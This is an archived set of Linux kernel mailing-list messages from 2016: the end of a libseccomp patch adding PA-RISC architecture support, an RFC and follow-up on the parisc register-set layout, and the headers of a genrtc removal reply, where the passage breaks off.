>  #include "arch-s390.h"
> @@ -79,6 +80,10 @@ const struct arch_def *arch_def_native = &arch_def_mips64n32;
>  #elif __MIPSEL__
>  const struct arch_def *arch_def_native = &arch_def_mipsel64n32;
>  #endif /* _MIPS_SIM_NABI32 */
> +#elif __hppa64__ /* hppa64 must be checked before hppa */
> +const struct arch_def *arch_def_native = &arch_def_parisc64;
> +#elif __hppa__
> +const struct arch_def *arch_def_native = &arch_def_parisc;
>  #elif __PPC64__
>  #ifdef __BIG_ENDIAN__
>  const struct arch_def *arch_def_native = &arch_def_ppc64;
> @@ -139,6 +144,10 @@ const struct arch_def *arch_def_lookup(uint32_t token)
>  		return &arch_def_mips64n32;
>  	case SCMP_ARCH_MIPSEL64N32:
>  		return &arch_def_mipsel64n32;
> +	case SCMP_ARCH_PARISC:
> +		return &arch_def_parisc;
> +	case SCMP_ARCH_PARISC64:
> +		return &arch_def_parisc64;
>  	case SCMP_ARCH_PPC:
>  		return &arch_def_ppc;
>  	case SCMP_ARCH_PPC64:
> @@ -185,6 +194,10 @@ const struct arch_def *arch_def_lookup_name(const char *arch_name)
>  		return &arch_def_mips64n32;
>  	else if (strcmp(arch_name, "mipsel64n32") == 0)
>  		return &arch_def_mipsel64n32;
> +	else if (strcmp(arch_name, "parisc64") == 0)
> +		return &arch_def_parisc64;
> +	else if (strcmp(arch_name, "parisc") == 0)
> +		return &arch_def_parisc;
>  	else if (strcmp(arch_name, "ppc") == 0)
>  		return &arch_def_ppc;
>  	else if (strcmp(arch_name, "ppc64") == 0)
> diff --git a/src/gen_pfc.c b/src/gen_pfc.c
> index 99c3297..b9c122e 100644
> --- a/src/gen_pfc.c
> +++ b/src/gen_pfc.c
> @@ -71,6 +71,10 @@ static const char *_pfc_arch(const struct arch_def *arch)
>  		return "mips64n32";
>  	case SCMP_ARCH_MIPSEL64N32:
>  		return "mipsel64n32";
> +	case SCMP_ARCH_PARISC:
> +		return "parisc";
> +	case SCMP_ARCH_PARISC64:
> +		return "parisc64";
>  	case SCMP_ARCH_PPC64:
>  		return "ppc64";
>  	case SCMP_ARCH_PPC64LE:
> diff --git a/src/python/libseccomp.pxd b/src/python/libseccomp.pxd
> index 15c94f8..500da15 100644
> --- a/src/python/libseccomp.pxd
> +++ b/src/python/libseccomp.pxd
> @@ -43,6 +43,8 @@ cdef extern from "seccomp.h":
>          SCMP_ARCH_MIPSEL
>          SCMP_ARCH_MIPSEL64
>          SCMP_ARCH_MIPSEL64N32
> +        SCMP_ARCH_PARISC
> +        SCMP_ARCH_PARISC64
>          SCMP_ARCH_PPC
>          SCMP_ARCH_PPC64
>          SCMP_ARCH_PPC64LE
> diff --git a/src/python/seccomp.pyx b/src/python/seccomp.pyx
> index c87bc3f..cb17642 100644
> --- a/src/python/seccomp.pyx
> +++ b/src/python/seccomp.pyx
> @@ -147,6 +147,8 @@ cdef class Arch:
>      MIPSEL - MIPS little endian O32 ABI
>      MIPSEL64 - MIPS little endian 64-bit ABI
>      MIPSEL64N32 - MIPS little endian N32 ABI
> +    PARISC - 32-bit PA-RISC
> +    PARISC64 - 64-bit PA-RISC
>      PPC64 - 64-bit PowerPC
>      PPC - 32-bit PowerPC
>      """
> @@ -165,6 +167,8 @@ cdef class Arch:
>      MIPSEL = libseccomp.SCMP_ARCH_MIPSEL
>      MIPSEL64 = libseccomp.SCMP_ARCH_MIPSEL64
>      MIPSEL64N32 = libseccomp.SCMP_ARCH_MIPSEL64N32
> +    PARISC = libseccomp.SCMP_ARCH_PARISC
> +    PARISC64 = libseccomp.SCMP_ARCH_PARISC64
>      PPC = libseccomp.SCMP_ARCH_PPC
>      PPC64 = libseccomp.SCMP_ARCH_PPC64
>      PPC64LE = libseccomp.SCMP_ARCH_PPC64LE
> @@ -205,6 +209,10 @@ cdef class Arch:
>                  self._token = libseccomp.SCMP_ARCH_MIPSEL64
>              elif arch == libseccomp.SCMP_ARCH_MIPSEL64N32:
>                  self._token = libseccomp.SCMP_ARCH_MIPSEL64N32
> +            elif arch == libseccomp.SCMP_ARCH_PARISC:
> +                self._token = libseccomp.SCMP_ARCH_PARISC
> +            elif arch == libseccomp.SCMP_ARCH_PARISC64:
> +                self._token = libseccomp.SCMP_ARCH_PARISC64
>              elif arch == libseccomp.SCMP_ARCH_PPC:
>                  self._token = libseccomp.SCMP_ARCH_PPC
>              elif arch == libseccomp.SCMP_ARCH_PPC64:
> diff --git a/tests/26-sim-arch_all_be_basic.c b/tests/26-sim-arch_all_be_basic.c
> index d2c191c..d31ce12 100644
> --- a/tests/26-sim-arch_all_be_basic.c
> +++ b/tests/26-sim-arch_all_be_basic.c
> @@ -52,6 +52,12 @@ int main(int argc, char *argv[])
>  	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("mips64n32"));
>  	if (rc != 0)
>  		goto out;
> +	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc"));
> +	if (rc != 0)
> +		goto out;
> +	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc64"));
> +	if (rc != 0)
> +		goto out;
>  	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("ppc"));
>  	if (rc != 0)
>  		goto out;
> diff --git a/tests/26-sim-arch_all_be_basic.py b/tests/26-sim-arch_all_be_basic.py
> index b0b660a..3a177b4 100755
> --- a/tests/26-sim-arch_all_be_basic.py
> +++ b/tests/26-sim-arch_all_be_basic.py
> @@ -33,6 +33,8 @@ def test(args):
>      f.add_arch(Arch("mips"))
>      f.add_arch(Arch("mips64"))
>      f.add_arch(Arch("mips64n32"))
> +    f.add_arch(Arch("parisc"))
> +    f.add_arch(Arch("parisc64"))
>      f.add_arch(Arch("ppc"))
>      f.add_arch(Arch("ppc64"))
>      f.add_arch(Arch("s390"))
> diff --git a/tests/regression b/tests/regression
> index 53d26b2..5949459 100755
> --- a/tests/regression
> +++ b/tests/regression
> @@ -28,6 +28,7 @@ GLBL_ARCH_LE_SUPPORT=" \
>  	ppc64le"
>  GLBL_ARCH_BE_SUPPORT=" \
>  	mips mips64 mips64n32 \
> +	parisc parisc64 \
>  	ppc ppc64 \
>  	s390 s390x"
>  
> @@ -701,7 +702,7 @@ function run_test_live() {
>  
>  	# setup the arch specific return values
>  	case "$arch" in
> -	x86|x86_64|x32|arm|aarch64|ppc|ppc64|ppc64le|ppc|s390|s390x)
> +	x86|x86_64|x32|arm|aarch64|parisc|parisc64|ppc|ppc64|ppc64le|ppc|s390|s390x)
>  		rc_kill=159
>  		rc_allow=160
>  		rc_trap=161
> diff --git a/tools/scmp_arch_detect.c b/tools/scmp_arch_detect.c
> index 4b452d1..ad43f2d 100644
> --- a/tools/scmp_arch_detect.c
> +++ b/tools/scmp_arch_detect.c
> @@ -99,6 +99,12 @@ int main(int argc, char *argv[])
>  		case SCMP_ARCH_MIPSEL64N32:
>  			printf("mipsel64n32\n");
>  			break;
> +		case SCMP_ARCH_PARISC:
> +			printf("parisc\n");
> +			break;
> +		case SCMP_ARCH_PARISC64:
> +			printf("parisc64\n");
> +			break;
>  		case SCMP_ARCH_PPC:
>  			printf("ppc\n");
>  			break;
> diff --git a/tools/scmp_bpf_sim.c b/tools/scmp_bpf_sim.c
> index a0cf6d1..3d3204a 100644
> --- a/tools/scmp_bpf_sim.c
> +++ b/tools/scmp_bpf_sim.c
> @@ -265,6 +265,10 @@ int main(int argc, char *argv[])
>  				arch = AUDIT_ARCH_MIPS64N32;
>  			else if (strcmp(optarg, "mipsel64n32") == 0)
>  				arch = AUDIT_ARCH_MIPSEL64N32;
> +			else if (strcmp(optarg, "parisc") == 0)
> +				arch = AUDIT_ARCH_PARISC;
> +			else if (strcmp(optarg, "parisc64") == 0)
> +				arch = AUDIT_ARCH_PARISC64;
>  			else if (strcmp(optarg, "ppc") == 0)
>  				arch = AUDIT_ARCH_PPC;
>  			else if (strcmp(optarg, "ppc64") == 0)
> diff --git a/tools/util.c b/tools/util.c
> index cc48647..7122335 100644
> --- a/tools/util.c
> +++ b/tools/util.c
> @@ -62,6 +62,10 @@
>  #elif __MIPSEL__
>  #define ARCH_NATIVE		AUDIT_ARCH_MIPSEL64N32
>  #endif /* _MIPS_SIM_NABI32 */
> +#elif __hppa64__
> +#define ARCH_NATIVE		AUDIT_ARCH_PARISC64
> +#elif __hppa__
> +#define ARCH_NATIVE		AUDIT_ARCH_PARISC
>  #elif __PPC64__
>  #ifdef __BIG_ENDIAN__
>  #define ARCH_NATIVE		AUDIT_ARCH_PPC64
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: RFC: parisc regset support
Date: Sun, 1 May 2016 11:25:31 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <5725CB8B.7010206@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462094766 16688 80.91.229.3 (1 May 2016 09:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 May 2016 09:26:06 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Randolph Chung <randolph@tausq.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 01 11:25:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1awndM-0004OW-UV
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 May 2016 11:25:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750893AbcEAJZs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 May 2016 05:25:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:58512 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750881AbcEAJZr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 May 2016 05:25:47 -0400
Original-Received: from [192.168.20.60] ([92.203.81.163]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LvhC4-1bk8ZN0TV6-017Y7J; Sun, 01 May 2016 11:25:33
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
X-Provags-ID: V03:K0:Iww1dAb6R3YNLahJVsjRC5xaFT7ISRoiIft9MMshOUlQrETUuly
 r4OvpQi1UJzlLPkR1WCes79/++m599wqQXytCAiCpTfDLpmWhhsRt+dot0rTD5HvrZ/mTJZ
 qftSdYV2K6UDgpDMgdNf/p4HUe+zT4KVEqfLNNKdeEYv5qaX5wylZqw3ieQM/URnUj43Gag
 0Gntv7thPzauubHbeH4Ng==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LBix85jjlsY=:0grx9KxPbD/ks+J44ptr61
 ps5teudyCJ9qhX5nqIeMUE8vJhsAWDKujs5X6XEFIKwSstCMzaxVsdNRtMnfmFJvpS70A/Vxa
 NmHOisRUv5/am+Bqk2zDWnZXYi1K6y6Ddxqilr9h6/SFDGPcxN1zmw42N5sAduq3T88CxUXEv
 qeqV3ZECK2znnmB/QxOx12qUtnIRKdmlRsU4O2fUK1bfOuxHE12iUH5BqtmM/12dUGmyjhssL
 2iwplwd5IhiJxIyTtQ/iKcIOnQayyk0nsuOQ3oVg6YsvuE/c3hEjOCs1HykuBeVLOh9BLp0qD
 QY7xnrZ7qGxl9EC3GNPJuoI8s+zqHQP2dLKzbzRKv4FXgTpDNQKwoXet9k4eVp1si8EN1snTE
 cWxsEZ929sHjVgEb6Rlf/vR1qZc0H43iWhdpdfVpsgfh4gEQZn/1WM3bxxBco2lEC/zJ13LmW
 38dJxKD4fUtLdkIcq9Fhe1jVHyd1LRWohtbnbWgWfH4qApSTXnASM6w4A8r+1I152Zx66M1dj
 KyuQY5sPqZOqfwwfFTU/zWV1PbVmV/sPuiATxFroTXAnH6hUlQiIHkmdxqFiI7KxjsjUPwipF
 Y4JrkuXVuzTGYzN8phj9AD+3v3NWihy5B/T4HAtAtamlffyS40URMA80oPHgRUDvZ/3oqkmpY
 1feWQ94ktviO/GDAMU/eayC6B3Wti+HEdMEbob7r4TAr1u/DGTUfxkBljJAtx9hsxnkYid/th
 FL2RneZzNW1xpHiaXDB/VyWgzWIZYqouyFh32Cfmbis/JAyT1ziLPX5gQPiaDpmKfc6jVkSE 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26744>

Hi all,

Earlier this month I posted a patch which adds regset support
to parisc and which I'm planning to push for kernel v4.7:
https://patchwork.kernel.org/patch/8787691/

In this patch is the "new" user-visible regset 
which I've laid out like this:

> +struct user_regs_struct {
> +	unsigned long gr[32];	/* PSW is in gr[0] */
> +	unsigned long sr[8];
> +	unsigned long iaoq[2];
> +	unsigned long iasq[2];
> +	unsigned long sar;	/* CR11 */
> +	unsigned long iir;	/* CR19 */
> +	unsigned long isr;	/* CR20 */
> +	unsigned long ior;	/* CR21 */
> +	unsigned long ipsw;	/* CR22 */
> +	unsigned long cr0;
> +	unsigned long cr24, cr25, cr26, cr27, cr28, cr29, cr30, cr31;
> +	unsigned long cr8, cr9, cr12, cr13, cr10, cr15;
> +	unsigned long _pad[80-64];	/* pad to ELF_NGREG (80) */
> +};

Current glibc versions use this definition in
/usr/include/hppa-linux-gnu/sys/ucontext.h

/* Container for all general registers.  */
typedef struct gregset
  {
    greg_t g_regs[32];
    greg_t sr_regs[8];
    greg_t cr_regs[24]; 
    greg_t g_pad[16];
  } gregset_t;

What is you opinion on this change, e.g. using explicit names of the
control registers and their order?

By the way, the order I choosed is modelled after the in-kernel
ELF/core-dump code which can be seen in  arch/parisc/include/asm/elf.h:

/*
 * Fill in general registers in a core dump.  This saves pretty
 * much the same registers as hp-ux, although in a different order.
 * Registers marked # below are not currently saved in pt_regs, so
 * we use their current values here.
 *
 *      gr0..gr31
 *      sr0..sr7
 *      iaoq0..iaoq1
 *      iasq0..iasq1
 *      cr11 (sar)
 *      cr19 (iir)
 *      cr20 (isr)
 *      cr21 (ior)
 *  #   cr22 (ipsw)
 *  #   cr0 (recovery counter)
 *  #   cr24..cr31 (temporary registers)
 *  #   cr8,9,12,13 (protection IDs)
 *  #   cr10 (scr/ccr)
 *  #   cr15 (ext int enable mask)
 *
 */

#define ELF_CORE_COPY_REGS(dst, pt)     \
        memset(dst, 0, sizeof(dst));    /* don't leak any "random" bits */ \
        memcpy(dst + 0, pt->gr, 32 * sizeof(elf_greg_t)); \
        memcpy(dst + 32, pt->sr, 8 * sizeof(elf_greg_t)); \
        memcpy(dst + 40, pt->iaoq, 2 * sizeof(elf_greg_t)); \
        memcpy(dst + 42, pt->iasq, 2 * sizeof(elf_greg_t)); \
        dst[44] = pt->sar;   dst[45] = pt->iir; \
        dst[46] = pt->isr;   dst[47] = pt->ior; \
        dst[48] = mfctl(22); dst[49] = mfctl(0); \
        dst[50] = mfctl(24); dst[51] = mfctl(25); \
        dst[52] = mfctl(26); dst[53] = mfctl(27); \
        dst[54] = mfctl(28); dst[55] = mfctl(29); \
        dst[56] = mfctl(30); dst[57] = mfctl(31); \
        dst[58] = mfctl( 8); dst[59] = mfctl( 9); \
        dst[60] = mfctl(12); dst[61] = mfctl(13); \
        dst[62] = mfctl(10); dst[63] = mfctl(15);


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: RFC: parisc regset support
Date: Sun, 1 May 2016 11:28:08 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <5725CC28.6010401@gmx.de>
References: <5725CB8B.7010206@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462094918 18701 80.91.229.3 (1 May 2016 09:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 May 2016 09:28:38 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Randolph Chung <randolph@tausq.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 01 11:28:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1awnfq-0004OW-Gr
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 May 2016 11:28:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750992AbcEAJ2W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 May 2016 05:28:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:64064 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750892AbcEAJ2V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 May 2016 05:28:21 -0400
Original-Received: from [192.168.20.60] ([92.203.81.163]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LZhoi-1bOBOQ1PUC-00lV79; Sun, 01 May 2016 11:28:10
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <5725CB8B.7010206@gmx.de>
X-Provags-ID: V03:K0:RBAnzEIdHBsji8jLbPduhxAPYUsx6vcl8jsmshtW7OHISRUmctB
 3IJOOUokUEyh6+ma3TsleJtEWGMbfsl46rMVwI3ffrXIk+SVN6gcwBB+6lvP8e51TI1DR8g
 qxKy4p6nzAnxjvfVkimjf1Ift5+fqseLNtbWtFn5RdBn+tFLBsWRHyTICL/zrJ7NjaQq028
 3uaQAkHL6HA5mTyrY9Tiw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mFCd3PSck+w=:exGorore8LPYf+pkK599O5
 CJAOVrzvFIzpaAAJ3n610ILo9NCvfuH8QdhxOWfTvRzE8qd16cOM/4e6+TIeHYMr8q6yX4gDr
 lGBwdPkU4E2U/x0LaHK2tDo3ysKrOZ3VWbyVmmNFAzltw0RnVrF+vc7WaiY1VnVDbFWZruIbY
 3SqI9rwqgXWZup7cAxHkJaP5MV2eOCic/PcL2d2llQLUK6or8MjjrC5UBMoU1eixvlrt7ozZZ
 m8AJXtP/TrKEUVJ6PVYV27oIy47H7Cqxf5wqDj0y3PWGH/4gb/LKJrGzbopsCyzrdzpQS0EvA
 VhEvy0RF+D/wMo+o9+jFBRn6a1jYqOSOwXbTVany42ITtaXXSNE7TTSB6C9XTaQCy/vMXKYiS
 P46+1hS1fIyQMQZ7Bz5plVQ2qDISqYhB3nUGJmQr9wGolSoM6B6PWcqb2NxyQ9UALuadU1ssJ
 KAX0SGGS8eR+lzAy/NibesIubkR52UWTzqI2tFZQLjRmqw0OUsXEsHAZUYM6hPJmklYUwsZuH
 8gbvIxxMVuC2S01cyAPVaQbXpdup+jjPTH0II8v/84fqjodRJJYMxOsp8gkmUTznvKO8A2KKr
 5PkoFWIiyznJBKFzxuv8Ph1ZbJOWnambbhj50S+fL1m/DaNh+qVXAkSz08s2eaCAOIVDPPwwJ
 PDV7kyVNYS38alnMSf9LNeMXjZb20vYBMUwEpcBtqoVANI5n6Toew9tBIbJhcWORUmfH/Ek4x
 W5pWCysbPFvBrT1e7/x/kLewcWdj7JUu+L5cn2fFlJv0+b1njnvtBDL0jXzx+3O0JCevGfqi 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26745>

On 01.05.2016 11:25, Helge Deller wrote:
> Hi all,
> 
> Earlier this month I posted a patch which adds regset support
> to parisc and which I'm planning to push for kernel v4.7:
> https://patchwork.kernel.org/patch/8787691/
> 
> In this patch is the "new" user-visible regset 
> which I've laid out like this:
> 
>> +struct user_regs_struct {
>> +	unsigned long gr[32];	/* PSW is in gr[0] */
>> +	unsigned long sr[8];
>> +	unsigned long iaoq[2];
>> +	unsigned long iasq[2];
>> +	unsigned long sar;	/* CR11 */
>> +	unsigned long iir;	/* CR19 */
>> +	unsigned long isr;	/* CR20 */
>> +	unsigned long ior;	/* CR21 */
>> +	unsigned long ipsw;	/* CR22 */
>> +	unsigned long cr0;
>> +	unsigned long cr24, cr25, cr26, cr27, cr28, cr29, cr30, cr31;
>> +	unsigned long cr8, cr9, cr12, cr13, cr10, cr15;
>> +	unsigned long _pad[80-64];	/* pad to ELF_NGREG (80) */
>> +};
> 
> Current glibc versions use this definition in
> /usr/include/hppa-linux-gnu/sys/ucontext.h
> 
> /* Container for all general registers.  */
> typedef struct gregset
>   {
>     greg_t g_regs[32];
>     greg_t sr_regs[8];
>     greg_t cr_regs[24]; 
>     greg_t g_pad[16];
>   } gregset_t;
> 
> What is you opinion on this change, e.g. using explicit names of the
> control registers and their order?

I missed to mention, that the glibc header file (/usr/include/hppa-linux-gnu/sys/ucontext.h)
includes a comment at the top which says:

/* Don't rely on this, the interface is currently messed up and may need to
   be broken to be fixed.  */

I don't know who added this comment, and what exactly was meant with it.
Any ideas?

 
> By the way, the order I choosed is modelled after the in-kernel
> ELF/core-dump code which can be seen in  arch/parisc/include/asm/elf.h:
> 
> /*
>  * Fill in general registers in a core dump.  This saves pretty
>  * much the same registers as hp-ux, although in a different order.
>  * Registers marked # below are not currently saved in pt_regs, so
>  * we use their current values here.
>  *
>  *      gr0..gr31
>  *      sr0..sr7
>  *      iaoq0..iaoq1
>  *      iasq0..iasq1
>  *      cr11 (sar)
>  *      cr19 (iir)
>  *      cr20 (isr)
>  *      cr21 (ior)
>  *  #   cr22 (ipsw)
>  *  #   cr0 (recovery counter)
>  *  #   cr24..cr31 (temporary registers)
>  *  #   cr8,9,12,13 (protection IDs)
>  *  #   cr10 (scr/ccr)
>  *  #   cr15 (ext int enable mask)
>  *
>  */
> 
> #define ELF_CORE_COPY_REGS(dst, pt)     \
>         memset(dst, 0, sizeof(dst));    /* don't leak any "random" bits */ \
>         memcpy(dst + 0, pt->gr, 32 * sizeof(elf_greg_t)); \
>         memcpy(dst + 32, pt->sr, 8 * sizeof(elf_greg_t)); \
>         memcpy(dst + 40, pt->iaoq, 2 * sizeof(elf_greg_t)); \
>         memcpy(dst + 42, pt->iasq, 2 * sizeof(elf_greg_t)); \
>         dst[44] = pt->sar;   dst[45] = pt->iir; \
>         dst[46] = pt->isr;   dst[47] = pt->ior; \
>         dst[48] = mfctl(22); dst[49] = mfctl(0); \
>         dst[50] = mfctl(24); dst[51] = mfctl(25); \
>         dst[52] = mfctl(26); dst[53] = mfctl(27); \
>         dst[54] = mfctl(28); dst[55] = mfctl(29); \
>         dst[56] = mfctl(30); dst[57] = mfctl(31); \
>         dst[58] = mfctl( 8); dst[59] = mfctl( 9); \
>         dst[60] = mfctl(12); dst[61] = mfctl(13); \
>         dst[62] = mfctl(10); dst[63] = mfctl(15);
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 00/16] genrtc removal
Date: Mon, 2 May 2016 10:45:52 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <CAMuHMdV3ZHEKgv-LPPQdZzP8KBY-yiSoeJ-cAXy54qD04--LgA@mail.gmail.com>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
	<CAMuHMdUcrB38jL1_estfq5aK55UFUeF=4JciVGFqcE17pY9X7g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1462178760 21377 80.91.229.3 (2 May 2016 08:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 May 2016 08:46:00 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon May 02 10:45:57 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ax9UK-0004Dx-Sj
	for glpm-linux-m68k@plane.gmane.org; Mon, 02 May 2016 10:45:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753286AbcEBIpz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Mon, 2 May 2016 04:45:55 -0400
Original-Received: from mail-io0-f196.google.com ([209.85.223.196]:34322 "EHLO
	mail-io0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753091AbcEBIpx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 2 May 2016 04:45:53 -0400
Original-Received: by mail-io0-f196.google.com with SMTP id d62so22149855iof.1
        for <linux-m68k@lists.linux-m68k.org>; Mon, 02 May 2016 01:45:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-transfer-encoding;
        bh=XgjMQkvSEu1QST4+x/muF/3JnM4OEUCRtJA3ii0wG+A=;
        b=L3BxaGuuB1HnYNoSCNXoDNb9F08E0YSAUVqQpezDVyCyt4Bnz6ggkoC5IX0vQbv22B
         +PTPzWHIojGpgdX2zvnR9wZR93VRhPqICzDSlEQDW5Waa0YbhuZGFUv8mvZT2I6A2kyb
         9JDih62dsIU5IpYNkFfwwUvFYNNeEoEyUdsaZN7EX20CXPc3bVJYe/Zslf3PE7ILHooI
         arD7MOIjg5yTxdTSpmUuPssG9rP55/b/o6SAsfzaG/aI10S+JHyb9VpHoNNCMvJ3Qau9
         YwmBoKMxkE0TOhMe3ump6/M8zHrdAEthOUc1mIntYX5thrRoIU72KI3tAenjTcHNLrH7
         Kt5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-transfer-encoding;
        bh=XgjMQkvSEu1QST4+x/muF/3JnM4OEUCRtJA3ii0wG+A=;
        b=hKFirSTzj5smbUO8hvSfsd0G5qnWtbodGmkigVDB1sVC2tT3EkwB4MclpfgLNgc/eK
